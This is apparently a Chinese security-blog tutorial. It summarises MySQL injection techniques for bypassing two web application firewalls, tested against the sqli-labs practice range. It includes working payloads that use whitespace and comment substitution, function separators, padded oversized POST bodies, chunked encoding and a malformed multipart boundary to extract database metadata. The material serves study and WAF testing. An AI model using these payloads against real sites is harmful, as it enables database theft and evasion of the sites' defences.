freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

MySQL注入Bypass总结
2022-09-07 12:27:04
所属地 四川省

一、前言

对于真实的渗透测试环境来说,遇到WAF拦截是经常的事情。如果在不会绕过WAF的情况下,想要继续进行渗透就很难了,由于自己对WAF绕过也只是一知半解,所以在看了一些大佬文章后,还是决定学习、实践一波,于是有了这篇文章的总结。

测试环境

  • 集成环境:phpStudy 8.1.1.3

  • 数据库:mysql 5.7

  • HTTP服务:apache2.4

  • PHP版本:PHP 5.6

  • 靶场:sqlibs

  • 防护软件:安全狗v4.0、云锁3.1.2

二、相关数据库特性

1、空格可以被其他字符替换

示例代码

select name,passwd,ip from users weher id='-1'①union②select③databse(),version,user()④#
  • 方法1:可以利用控制字符替换空格

常见的控制字符:%09,%0a,%0c,%0d,%a0
示例: select name,passwd,ip from users weher id='-1'%a0union%09select%0bdatabase(),version(),user()%0c--+
  • 方法2:利用注释符号绕过空格过滤

mysql的注释类型:
  -- :单行注释
  # :单行注释
  /**/多行注释
  /*//*/ : 两个'/'中间的'*'可以共用
示例:select name,passwd,ip from users weher id='-1'/**/union/**/select/**/database(),version(),user()/**/%23
  • 方法3:使用括号绕过空格过滤

示例:select name,passwd,ip from users weher id='-1'/\*\*/union(select(database()),version(),user())%23

2、可以利用全局变量查询信息

常见的全局变量

- @@datadir: 数据库文件地址
- @@basedir:mysql的安装位置
- @@version:数据库版本,可以用于替换version()
- @@hostname:系统主机名
- @@port:数据库对应的端口

3、其他特性

  • mysql 5.0以上存在information_schema数据库

简介:information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等
imformation_schema数据库常用的一些表:
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息,show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表
USER_PRIVILEGES表:给出了关于全程权限的信息。该信息源自mysql.user授权表
  • mysql 8 可以实现无select 查询

mysql8以后,提供了两个新的用法:table和value。
TABLE 语句在某些方面的作用类似于 SELECT。给定一个名为 的表的存在,以下两个语句产生相同的输出:
   Table users;
   select * from users;
不过TABLE 不支持对数据进行任意过滤,也就是不能使用任何的WHERE语句。
VALUES 是MySQL 8.0.19中引入的DML语句,它以表的形式返回一组一行或多行。换句话说,它是一个表值构造函数,也用作独立的 SQL 语句。使用示例如下:
   VALUES ROW(1,2,3);  /*创建一个三列的行,数据分别为1,2,3*/
  • 内联注释内的语句可以被执行

基本原理:内联注释的作用是增加SQL语句的可移植性。比如,将MySQL特有的语法使用内联注释的形式来编写,在这种情况下,MySQL可以正常的解析并执行内联注释中的代码,但是其它的SQL服务器则忽略内联注释中的内容。
注释格式:/*! mysql 语句 */
使用示例:select bbb from table1 where aaa='' union /*! select database()*/;
注意点:不能将关键词用注释分开,例如下面的语句是不可执行的。
select bbb from table1 where balabala='' union se/*!lect database()*/;

三、绕过安全狗

安全级别: 高级
image

测试关卡: Less-11
image

防御效果检测: 成功拦截
image

1、超大数据包绕过

1)绕过原理

WAF检测资源长度限制

假如HTTP请求POST BODY太大,检测所有内容,WAF集群消耗太多的CPU、内存资源。因此许多WAF只检测前面的2M或4M的内容。
对于攻击者而言,只需要在POST BODY前面添加许多无用的数据,把攻击的payload放在最后即可绕过WAF检测。

2)实战测试

基本方法: 在POST模式下,添加脏数据,让Content-Length头长度大于8200,正常参数在脏数据后面,否则无效。

测试payload

uname=-1'+and+updatexml(1,concat((select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),2)+--+&passwd=admion123&submit=Submit

测试效果:成功绕过检测执行SQL语句

image

2、函数分隔符绕过

1)绕过原理

基本原理:函数与括号之间插入分隔符可以正常执行

对基于正则表达式的WAF,我们猜测安全工程师写WAF规则时,可能不知道函数名与左括号之间可以存在特殊字符,或者遗漏可以存在特殊字符。例如匹配函数”concat()”的规则写法,“concat(”或者”concat\s*(”,就没有考虑到一些特殊字符。相应的绕过方法,在特殊位置引入特殊的分隔符,逐个测试。这些特殊分隔符发现也是通过Fuzz出来的。

绕过技巧:函数与括号之间可以插入空白符或多行注释达到绕过

2)实战测试

payload:

uname=-1'+and+updatexml%0a(1,concat%0a((select%0agroup_concat(column_name)+from+/*//*/information_schema.columns+where+table_name=0x7573657273),0x7e),2)+--+&passwd=admion123&submit=Submit

测试结果
image

3、空格替换绕过

1)绕过原理

基本原理:数据库空格可使用其它字符替代,比如多行注释和空白符

因为注释符#、-- 都是把后面的语句全部注释掉了,而多行注释/**/则是注释指定部分,需要一前一后闭合,所以在传参那里几乎不做注释语句用,而是用于过滤空格等bypass。
常用的注释多行注释符:
    /**/ : 会被拦截
    /*--*/ :会被拦截
    /*//*/:不会被拦截
常见的空白符:%09,%0a,%0c,%0d,%a0

绕过技巧: 在各个空格处使用多种符号进行替换

2)实战测试

payload:

uname=1'+and/*//*/updatexml(1,concat((@@version),0x7e),2)/**/--+&passwd=admion123&submit=Submit

测试效果
image

4、分块传输过WAF

1)基本原理

分块传输编码(Chunked transfer encoding)是超文本传输协议(HTTP)中的一种数据传输机制,允许HTTP由应用服务器发送给客户端应用( 通常是网页浏览器)的数据可以分成多个部分。

分块传输编码只在HTTP协议1.1版本(HTTP/1.1)中提供。通常,HTTP应答消息中发送的数据是整个发送的,Content-Length消息头字段表示数据的长度。

数据的长度很重要,因为客户端需要知道哪里是应答消息的结束,以及后续应答消息的开始。然而,使用分块传输编码,数据分解成一系列数据块,并以一个或多个块发送,这样服务器可以发送数据而不需要预先知道发送内容的总大小。

2)利用方法

手工进行分块绕过较为繁琐,且花费时间长,所以我们在使用的时候可以采用burpsuite的插件来进行测试。

插件位置:https://github.com/c0ny1/chunked-coding-converter

导入插件
image

配置分块参数: 右键—>Extentions—>chunked-coding-converter 0.4.0 —>chunked-coding-converter —>config
image

在发送数据包前进行编码: 右键—>Extentions—>chunked-coding-converter 0.4.0 —>chunked-coding-converter—> Encodeing Request body

3) 实战测试

未启用插件的情况下,成功被拦截:

image

启用插件的情况下,成功绕过:

image

小结:WAF是绕过了,但是没回显内容了,我傻眼,菜鸟学会了但是感觉又没学会,老脚本小子了,唉。

四、绕过云锁

防护情况: 全部开启

image

防护效果
image

1、超大数据包绕过

1)绕过原理

WAF检测资源长度限制

假如HTTP请求POST BODY太大,检测所有内容,WAF集群消耗太多的CPU、内存资源。因此许多WAF只检测前面的2M或4M的内容。
对于攻击者而言,只需要在POST BODY前面添加许多无用的数据,把攻击的payload放在最后即可绕过WAF检测。

2)实战测试

基本方法: 在POST模式下,添加脏数据,让Content-Length头长度大于7300,正常参数在脏数据后面,否则无效。

测试效果
image

添加了未知参数,使数据包长度大于7300后,成功造成注入:

image

2、畸形boundary绕过

1)绕过原理:

基本原理: HTTP协议兼容性,HTTP Body的多样性,以及WAF对boundary识别的局限性

PHP在解析multipart data的时候有自己的特性,对于boundary的识别,只取了逗号前面的内容,例如我们设置的boundary为——aaaa,123456,php解析的时候只识别了——aaaa,后面的内容均没有识别。然而WAF在做解析的时候,有可能获取的是整个字符串,此时可能就会出现绕过。

2)实战测试

先来一个正常的注入包,可见成功被拦截:

image

修改传输数据编码:右键—>cahnge body encoding

image

修改boundary的值:
image

可见修改了boundary的值后,成功绕过。

五、参考资料

# SQL注入 # bypass waf # 安全狗绕过 # 云锁
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录